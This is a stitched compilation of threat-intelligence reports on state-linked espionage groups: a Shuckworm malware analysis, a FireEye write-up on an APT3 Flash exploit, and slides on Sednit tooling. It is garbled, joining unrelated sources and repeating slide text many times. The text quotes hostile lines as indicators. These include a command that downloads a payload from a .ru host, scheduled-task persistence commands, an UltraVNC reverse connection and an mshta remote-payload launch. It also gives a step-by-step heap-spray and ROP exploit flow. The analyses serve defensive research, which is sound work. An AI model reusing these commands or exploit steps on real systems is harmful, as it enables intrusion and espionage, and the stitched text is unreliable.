[VICTIM_ID]::/.beagle/. -q -b -c -t 2 hxxp://arianat.ru/baby.php -P [APPDATA]\baby The baby.dat file is a VBS file that executes baby.cmd, which then downloads and executes the payload from the CC server. The vb_baby.vbs file renames the downloaded payload from baby.php to backed.exe. The downloaded payload (backed.exe) could not be retrieved. However, the following files were also obtained during our investigation: z4z05jn4.egf.exe The file z4z05jn4.egf.exe (fd9a9dd9c73088d1ffdea85540ee671d8abb6b5ab37d66a760b2350951c784d0) is similar to the previous file (deep-sunken.exe) but with different folders, file names, and CC server (iruto.ru). defiant.exe 6/8 Once executed, the file defiant.exe (a20e38bacc979a5aa18f1954df1a2c0558ba23cdc1503af0ad1021c330f1e455) drops a VBS file in the following locations: TEMP\\deep-versed.nls PUBLIC\Pictures\deep-versed.nls It then creates the following task: SCHTASKS /CREATE /sc minute /mo 12 /tn \deep-versed\ /tr \wscript.exe \ [PUBLIC]\\Pictures\\deep-versed.nls\ //e:VBScript //b\ /F The dropped file deep-versed.nls (817901df616c77dd1e5694e3d75aebb3a52464c23a06820517108c74edd07fbc) downloads a payload from a CC server (deep-toned.chehalo.ru) and saves it as deep-green.exe in the following location: PUBLIC\Downloads deep-green.exe The file deep-green.exe (1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f) contains an UltraVNC binary, which upon execution connects to a repeater (mucoris.ru:5612) using the following command line: -autoreconnect -id:RANDOM -connect mucoris.ru:5612 UltraVNC is an open-source remote-administration/remote-desktop-software utility. deep-green.exe A second file named deep-green.exe (f6c56a51c1f0139036e80a517a6634d4d87d05cce17c4ca5adc1055b42bf03aa) contain a Process Explorer (procexp) binary. Process Explorer is a freeware task manager and system monitor for Microsoft Windows. deep-green.exe A third file called deep-green.exe (de5a53a3b75e3e730755af09e3cacb7e6d171fc9b1853a7200e5dfb9044ab20a) is similar to descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) just with different file names and CC server (deer-lick.chehalo.ru). deep-green.exe 7/8 The fourth and final file named deep-green.exe (d15a7e69769f4727f7b522995a17a0206ac9450cfb0dfe1fc98fd32272ee5ba7) drops a VBS file in the following location: PUBLIC\Music\ It then creates the following task: /CREATE /sc minute /mo 12 /tn \MediaConverter\ /tr \wscript.exe \C:\\Users\\Public\\Music\\MediaConvertor.dat\ //e:VBScript //b \ /F The MediaConvertor.dat file searches for removable drives and creates a .lnk file with the following command: mshta.exe hxxp://PLAZMA.VIBER.ontroma.ru/PLAZMA.html /f idJanuary IOC patterns Analysis of the many indicators of compromise (IOCs) uncovered during our investigations have revealed the following patterns, which may be of use when defending networks from Shuckworm attacks: Most URL CC IPs belong to the short list of hosting providers listed in the SSU report, namely AS9123 TimeWeb Ltd. (Russia). Most discovered suspected CC URLs are IP-based URLs and use a unique URI structure: http IP /some-word.php?some-word1-integer,5-7-rand- alphanums OR http IP /some-word.php?some-word1-integer,5-7-rand- alphanums-2-integers Most suspected malicious files are found in one of a short list of directories: csidl_profile\links csidl_profile\searches CSIDL_PROFILE\appdata\local\temp\ CSIDL_PROFILE\ 8/8 Nearly all the suspected malicious files are made up of a word beginning with the letter d and a few are composed of two words separated by a - (first word also starting with d). Examples include: deceive.exe deceived.exe deception.exe deceptive.exe decide.exe decided.exe decipher.exe decisive.exe deep-sunken.exe deep-vaulted.exe Detected command lines are simple and consist of just the binary path name no switches, etc. Many suspected malicious files have unknown parent process hashes, none of which have available information. According to a November 2021 report from the SSU, since 2014 the Shuckworm group has been responsible for over 5,000 attacks against more than 1,500 Ukrainian government systems. As evidenced by Symantecs recent investigations into attempted Shuckworm attacks against a number of organizations in Ukraine, this activity shows little sign of abating. The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. https://ssu.gov.ua/en/novyny/sbu-vstanovyla-khakeriv-fsb-yaki-zdiisnyly-ponad-5-tys-kiberatak-na-derzhavni-orhany-ukrainy APT3 The China-based threat group FireEye tracks as APT3, aka UPS, is responsible for this exploit and the activity identified in our previous blog post, Operation Clandestine Fox. This group is one of the more sophisticated threat groups that FireEye Threat Intelligence tracks, and they have a history of introducing new browser-based zero-day exploits (e.g., Internet Explorer, Firefox, and Adobe Flash Player). After successfully exploiting a target host, this group will quickly dump credentials, move laterally to additional hosts, and install custom backdoors. APT3s command and control (CnC) infrastructure is difficult to track, as there is little overlap across campaigns. Activity Overview In the last several weeks, APT3 actors launched a large-scale phishing campaign against organizations in the following industries: Aerospace and Defense Construction and Engineering High Tech Telecommunications Transportation Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts. Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below. This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor. APT.CookieCutter, being delivered to the victims system. The payload is obscured using xor encoding and appended to a valid GIF file. Attack Vector The phishing emails used by APT3 during this campaign were extremely generic in nature, almost appearing to be spam.
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Full Exploit Flow 1.
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data/reports_final/0257.txt
Full Exploit Flow 1. Create a new Video object 2. Fetch the payload 3. Attach the video to a new NetStream 4. Spray the heap with Adobe Flash Player Vectors a. Create a Vector containing 98688 Vectors containing 1022 uints b. Set the first two dwords in each Vectoruint to 0x41414141, 0x42424242 5. Create holes for the controlled FLV object a. Free approximately every 3 rd Vector in the spray 6. Spray custom class objects for future control transfer a. Define a new class CustomClass i. Define a function victimFunction with lots of arguments b. Create a Vector of 0x100 Vectors of 1007 references to an CustomClass instance 7. Fetch and play the FLV exploit a. The FLV file will allocate an attacker controlled object in one of the holes from step 5 b. The attacker controlled object will overwrite the length field of an adjacent vector 8. Re-fill holes from step 5 with Vectors as in step 4 9. Find the corrupted vector a. Search through Vectors from step 4 b. Check the length of each Vector to find one that is abnormally large 10. Corrupt a second Vector (Vector2) a. Using the corrupted Vector from step 9 to read/write relative memory addresses i. Search memory for an adjacent vector ii. Overwrite the length field with 0x3fffffff iii. Verify that a corrupted vector with length 0x3fffffff now exists in the spray 1. If not, undo corruption and attempt to corrupt the next vector 11. Decrypt shellcode and store it and the payload on the heap 12. Overwrite the CustomClass.victimFunction function pointer a. Find the sprayed CustomClass object instance references from step 6 b. The new function is a form of pivot that transfers control to the attacker 13. Build ROP chain on the stack and call it a. Find ROP gadgets in memory using Vector2 i. Including a call to kernel32VirtualAlloc b. Call the corrupted CustomClass.victimFunction from step 6.a.i i. Arguments to the function are the gadgets of the ROP chain ii. They are conveniently pushed onto the stack iii. Corrupted vtable from step 12 calls a pivot 1. The pivot just adds to to the stack pointer and returns because the ROP chain is on the stack 14. ROP chain calls shellcode a. Call kernel32VirtualAlloc b. jmp to shellcode 15. Shellcode calls payload a. Shellcode searches memory for the payload, which is stored inside an image b. Shellcode decodes the payload by xoring each byte (that is not 0 or 0x17) with 0x17 Conclusion Once APT3 has access to a target network, they work quickly and they are extremely proficient at enumerating and moving laterally to maintain their access. Additionally, this group uses zero-day exploits, continually updated custom backdoors, and throwaway CnC infrastructure, making it difficult to track them across campaigns. Acknowledgements Thank you to the following contributors to this blog Joseph Obed, Ben Withnell, Kevin Zuk, Genwei Jiang, and Corbin Souffrant of FireEye Visiting The Bear Den A Journey in the Land of (Cyber-)Espionage Joan Calvet Jessy Campos Thomas Dupuy 1 Sednit Group Also know as APT28, Fancy Bear, Sofacy, STRONTIUM, Tsar Team Group of attackers doing targeted attacks since 2006 Mainly interested into geopolitics 2 3 Plan Context The Week Serge Met The Bear The Mysterious DOWNDELPH Speculative Mumblings CONTEXT What kind of group is Sednit? 4 Who Is The Bear After? ( 1) We found a list of targets for Sednit phishing campaigns: Operators used Bitly and forgot to set the profile private (feature now removed from Bitly) Around 4,000 shortened URLs during 6 months in 2015 5 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After? ( 2) 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After? ( 2) parepkyivgmail.com 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After? ( 2) parepkyivgmail.com PakistanEmbassyKyiv 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After? ( 2) parepkyivgmail.com PakistanEmbassyKyiv Who Is The Bear After? ( 3) Embassies and ministries of more than 40 countries NATO and EU institutions Whos who of individuals involved in Eastern Europe politics: Politicians Activists Journalists Academics Militaries 7 The Bear Has Money A bag full of 0-day exploits: 8 2015 Apr May Jun Jul Aug Sep Oct CVE-2015-3043 (Flash) CVE-2015-1701 (Windows LPE) CVE-2015-2590 (Java) CVE-2015-4902 (Java click-to-play bypass) CVE-2015-7645 (Flash) CVE-2015-2424 (Office RCE) The Bear Can Code Tens of custom-made software used since 2006: Droppers Downloaders Reconnaissance tools Long-term spying backdoors Encryption proxy tool USB CC channel Many helper tools 9 Disclaimers Over the last two years we tracked Sednit closely, but of course our visibility is not exhaustive How do we know it is ONE group? We dont Our Sednit definition is based on their toolkit and the related infrastructure We do not do attribution (but we point out hints that may be used for that) 10 THE WEEK SERGE MET THE BEAR 11 Who Is Serge? Code name for an imaginary Sednit target Serge is a government employee with access to sensitive information The chain of events in Serges attack matches several real cases we investigated We use it as a textbook case to present (a part of) the Sednit toolkit 12 13 Monday, 9:30AM Serge Opens an Email 14 Legitimate URL Mimicking 15 Legitimate URL Mimicking 15 Legitimate URL Mimicking 15 Legitimate URL Mimicking 15 16 Serge clicks on the URL, and Serge Meets SEDKIT Exploit-kit for targeted attacks Entry-point URLs mimic legitimate URLs Usually propagated by targeted phishing emails (also seen with hacked website iframe) Period of activity: September 2014 - Now 17 Landing Page (1) Reconnaissance Report Building 18 Landing Page (1) Reconnaissance Report Building 18 Landing Page (1) Reconnaissance Report Building 18 19 Crawling Sedkit 20 21 Serge is selected to be exploited and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 22 : At the time SEDKIT dropped them and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 23 : At the time SEDKIT dropped them and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 24 : At the time SEDKIT dropped them and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 25 : At the time SEDKIT dropped them Revamping CVE-2014-6332 (a.k.a. IE Unicorn bug) October 2015: Re-use of public PoC to disable VBScript SafeMode Next stage binary downloaded by PowerShell 26 Revamping CVE-2014-6332 (a.k.a. IE Unicorn bug) October 2015: Re-use of public PoC to disable VBScript SafeMode Next stage binary downloaded by PowerShell February 2016: No more SafeMode disabling, direct ROP-based shellcode execution Around 400 lines of VBScript, mostly custom 27 28 29 VBScript Framework Functions: addToROP() getROPstringAddress () Code_section_explorer_7 () Code_section_explorer_XP() getNeddedAddresses () addrToHex () 30 VBScript Framework Functions: addToROP() getROPstringAddress () Code_section_explorer_7 () Code_section_explorer_XP() getNeddedAddresses () addrToHex () Have you ever seen this somewhere? ( cuz we dont) 30 31 Exploit downloads a payload and Serge Meets SEDUPLOADER (a.k.a. JHUHUGIT, JKEYSKW) Downloaded by SEDKIT Two binaries: the dropper and its embedded payload Deployed as a first-stage component Period of activity: March 2015 - Now SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence CVE-2015-1701 (0-day) CVE-2015-2387 ( ) SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence Windows COM object hijacking Shell Icon Overlay COM object Registry key UserInitMprLogonScript JavaScript code executed within rundll32.exe Scheduled tasks, Windows service, SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence Windows COM object hijacking Shell Icon Overlay COM object Registry key UserInitMprLogonScript JavaScript code executed within rundll32.exe Scheduled tasks, Windows service, SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence Windows COM object hijacking Win32/COMpfun Shell Icon Overlay COM object Registry key UserInitMprLogonScript JavaScript code executed within rundll32.exe Win32/Poweliks Scheduled tasks, Windows service, SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection CC Successfully Contacted SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy Inject Into Browsers CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy Inject Into Browsers CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders East Side Story printf debugging 46 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM Chain of Events Mon Tue Wed Thu Fri 47 Monday, 10:00AM Serge meets SEDRECO Downloaded by SEDUPLOADER Backdoor with the ability to load external plugins Usually deployed as a second stage backdoor to spy on the infected computer Period of activity : 2012 - Now 48 Dropper Drops encrypted configuration In a file (msd) In the Windows Registry No configuration linked to the payload Configuration Overview Configuration Overview XOR KEY Configuration Overview XOR KEY FIELD SIZES Configuration Overview (Decrypted) Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Various timeouts Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Computer name Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Keylogger enabled Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) CC servers Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Operation name (rhst, rhbp, mctf, mtqs) Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Plugins list Payload Payload Payload Payload Payload Payload Payload Payload Payload Extending The Core (1) Plugins are DLLs loaded in the same address space Plugins receive arguments from the core: Extending The Core (1) Plugins are DLLs loaded in the same address space Plugins receive arguments from the core: Extending The Core (1) Plugins are DLLs loaded in the same address space Plugins receive arguments from the core: Extending The Core (2) Extending The Core (2) New command 55 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM Chain of Events Mon Tue Wed Thu Fri 56 Monday, 2:00PM Serge Meets XAGENT (a.k.a SPLM, CHOPSTICK) Downloaded by SEDUPLOADER Modular backdoor developed in C with Windows, Linux and iOS versions Deployed in most Sednit operations, usually after the reconnaissance phase Period of activity: November 2012 - Now 57 58 59 Linux XAGENT, compiled in July 2015 59 Linux XAGENT, compiled in July 2015 18,000 lines of code in 59 classes 59 Linux XAGENT, compiled in July 2015 18,000 lines of code in 59 classes Derives from Windows version: 59 Linux XAGENT, compiled in July 2015 18,000 lines of code in 59 classes Derives from Windows version: XAGENT major version 2, but matches the logic of currently distributed binaries (version 3) 59 Such Comments 60 - Thats a lot 61 main.cpp 61 main.cpp 61 main.cpp 61 main.cpp 61 main.cpp 61 main.cpp 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Channel (HTTP or emails) Communication Workflow XAGENT INFECTED COMPUTER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S SMTPS CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S POP3S SMTPS CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S POP3S SMTPS CC SERVER An email-based CC protocol needs to provide: 1. A way to distinguish CC emails from unrelated emails 2. A way to bypass spam filters Email Channel (2) P2Scheme, a.k.a Level 2 Protocol 64 Email Channel (2) P2Scheme, a.k.a Level 2 Protocol 64 KEY SUBJ_TOKEN KEY XAGENT_ID KEY base64 0 5 12 16 Email Channel (2) P2Scheme, a.k.a Level 2 Protocol 64 KEY SUBJ_TOKEN KEY XAGENT_ID KEY base64 0 5 12 16 Email Channel (3) Georgian Protocol 65 Email Channel (3) Georgian Protocol 65 Georgian national ID number Email Channel (3) Georgian Protocol 65 Georgian national ID number Hello Email Channel (3) Georgian Protocol 65 Georgian national ID number Hello detailed timestamp Bonus: XAGENT CC Infrastructure 66 Bonus: XAGENT CC Infrastructure 66 Thank you, Google search engine XAGENT Proxy Server Python code used between April and June 2015 XAGENT Proxy Server Python code used between April and June 2015 12,200 lines of code XAGENT Proxy Server Python code used between April and June 2015 12,200 lines of code Translates email protocol from XAGENT into a HTTP protocol for the CC server: (over HTTP) P3Protocol XAGENT PROXY BACKEND CC SERVER INBOX P2Protocol 68 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM XAGENT deployment 02:00PM Chain of Events Mon Tue Wed Thu Fri 69 Next three days Serge Meets Passwords Extractors SecurityXploded tools (grand classic of Sednit) Cons: usually detected by AV software Custom tools, in particular a Windows Live Mail passwords extractor compiled for Serge: 70 Serge Meets Windows Passwords Extractors From registry hives Deployed with LPE for CVE-2014-4076 Good ol Mimikatz (pi.log) Deployed with LPE for CVE-2015-1701 71 Serge Meets Screenshoter Custom tool to take screenshots each time the mouse moves 72 And Serge Meets XTUNNEL Network proxy tool to contact machines normally unreachable from Internet Period of activity: May 2013 - Now 73 74 SERGES COMPUTER (XTUNNEL INFECTED) COMPUTER A (CLEAN) COMPUTER B (CLEAN) INTERNET INTERNAL NETWORK CC SERVER Initial Situation 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Encryption Handshake CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 T T CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 T T RC4 key O CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 T T Offset O in T Proof of knowledge of T RC4 key O CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 76 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87 T T OK RC4 key RC4 Key O O CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 77 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Encryption Handshake RC4-encrypted link COMPUTER A (CLEAN) COMPUTER B (CLEAN) 78 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Encryption Handshake TLS encapsulation (added in 2014) COMPUTER A (CLEAN) COMPUTER B (CLEAN) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) Any kind of TCP-based traffic can be tunneled (PsExec) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) Any kind of TCP-based traffic can be tunneled (PsExec) Code Obfuscation (1) Starting in July 2015 XTUNNEL code was obfuscated (which is two months after the Sednit attack against the German parliament, where XTUNNEL was used) 80 Code Obfuscation (1) Starting in July 2015 XTUNNEL code was obfuscated (which is two months after the Sednit attack against the German parliament, where XTUNNEL was used) The obfuscation is a mix of classic syntactic techniques, like insertion of junk code and opaque predicates 80 Code Obfuscation (2) BEFORE AFTER 81 Code Obfuscation (2) BEFORE AFTER 81 Good toy example for automatic desobfuscation magic? 82 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM XAGENT deployment 02:00PM Information exfiltration and lateral movements Chain of Events Mon Tue Wed Thu Fri 83 Friday, 11:00AM Long Term Persistence (1) Special XAGENT copied in Office folder under the name msi.dll 84 Long Term Persistence (2) system32\msi.dll is a legitimate Windows DLL needed by Office applications 85 Long Term Persistence (2) system32\msi.dll is a legitimate Windows DLL needed by Office applications XAGENT msi.dll exports the same function names as the legitimate msi.dll: 85 Long Term Persistence (3) Each time Serge starts Office, XAGENT msi.dll is loaded (search-order hijacking): Loads real msi.dll from system32 Fills its export table with the addresses of the real msi.dll functions Starts XAGENT malicious logic 86 Long Term Persistence (3) Each time Serge starts Office, XAGENT msi.dll is loaded (search-order hijacking): Loads real msi.dll from system32 Fills its export table with the addresses of the real msi.dll functions Starts XAGENT malicious logic Same technique also seen with LINKINFO.dll dropped in C:\WINDOWS 86 87 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM XAGENT deployment 02:00PM Long-term persistence method deployment 11:00AM Chain of Events Mon Tue Wed Thu Fri Information exfiltration and lateral movements THE MYSTERIOUS DOWNDELPH What the hell is going on here ? 88 Discovery September 2015 Classic Sednit dropper Shows a decoy document What Is In This Dropper? The Ultimate Boring Component Delphi downloader, we named it DOWNDELPH (slow clap) Simple workflow: Downloads a config (.INI file) Based on the config, downloads a payload Executes payload Persistence method: Run registry key The Ultimate Boring Component Delphi downloader, we named it DOWNDELPH (slow clap) Simple workflow: Downloads a config (.INI file) Based on the config, downloads a payload Executes payload Persistence method: Run registry key Let The Hunt Begins 2013 DOWNDELPH Sample Dropper Helper Bootkit Installer DOWNDELPH Let The Hunt Begins 2013 DOWNDELPH Sample Dropper Helper Bootkit Installer DOWNDELPH Infects BIOS-based systems Tested on Windows XP/7, 32bit/64bit Never been documented Not So Boring Component Bootkit Installation MBR Legitimate data First sectors before infection 1ST sector Malicious MBR Original MBR (1-byte XOR) Hooks (1-byte XOR) Driver (1-byte XOR RC4) Legitimate Data First sectors before infection First sectors after infection Bootkit Installation 1ST sector 2ND sector 